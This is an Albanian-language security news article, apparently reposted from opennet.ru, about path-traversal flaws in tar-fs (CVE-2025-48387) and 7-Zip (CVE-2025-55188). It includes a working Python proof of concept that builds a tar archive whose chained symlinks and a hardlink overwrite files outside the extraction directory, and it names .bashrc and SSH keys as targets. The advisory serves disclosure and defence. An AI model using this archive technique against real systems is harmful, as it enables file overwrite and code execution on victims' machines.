Dëmtimet në tar-fs dhe 7-Zip, të cilat lejojnë shkruarjen e skedareve jashtë katalogut bazë

Në paketën NPM tar-fs është identifikuar një vulnerabilitet (CVE-2025-48387) që lejon mënyrë për të shkruar skedarët në çdo pjesë të sistemit të skedarëve gjatë shpërndarjes së një arkivi tar të hartuar posaçërisht, pa u kufizuar nga katalogu ku ndodh shpërndarja (sa e lejojnë të drejtat e aksesit të përdoruesit aktual). Ky vulnerabilitet gjithashtu mund të përdoret për të riparë skedarë ekzistues, për shembull, skedarët " .ssh/id_rsa" ose " .bashrc" në katalogun e shtëpisë së përdoruesit mund të ridëgjohen për të organizuar ekzekutimin e kodit të tij në sistem.

Problemi i është caktuar një nivel kritik rreziku duke marrë parasysh se paketa tar-fs ka 23 milion shkarkime në javë dhe përdoret si varësi në 1155 projekte. Vulnerabiliteti është eliminuar në publikimet 3.0.9, 2.1.3 dhe 1.16.5, të cilat u krijuan në maj, por informacioni në lidhje me vulnerabilitetin u publikua vetëm gati 3 muaj më vonë.

Vulnerabiliteti shkaktohet nga kontrolli i pamjaftueshëm i lidhjeve simbolike dhe të forta në arkiv për të parë nëse ato dalin jashtë katalogut të synuar për shpërndarje. Për të anashkaluar kontrollin përdoren dy lidhje simbolike: e para tregon në katalogun rrënjë të shpërndarjes së arkivit (".") dhe e dyta krijohet në mënyrë relative ndaj lidhjes simbolike të parë dhe përdor në emër karakteret "../" për të dalë jashtë katalogut themelor. Për shembull, lidhja e parë "noop/noop/noop" tregon në ".", ndërsa e dyta "noop/noop/noop/../../../.." zbulohet si "./../../../..". Për të organizuar riparimin e skedarëve në arkiv mund të krijohet një lidhje e fortë që referon në një skedar të jashtëm në lidhje me lidhjen simbolike të dytë. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Një vulnerabilitet i ngjashëm (CVE-2025-55188) është identifikuar në arkivuesin 7-Zip. Për të shkruar skedarë jashtë katalogut themelor në 7-Zip gjithashtu mund të përdoren lidhje simbolike që përmbajnë sekuenca "../" në rrugën e skedarit. Problemi mund të shfrytëzohet gjatë shpërndarjes me 7-Zip të çdo arkivi që mbështet lidhjet simbolike, siç janë zip, tar, 7z dhe rar. Problemi është zgjidhur në versionin 7-Zip 25.01.

Burimi: opennet.ru

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster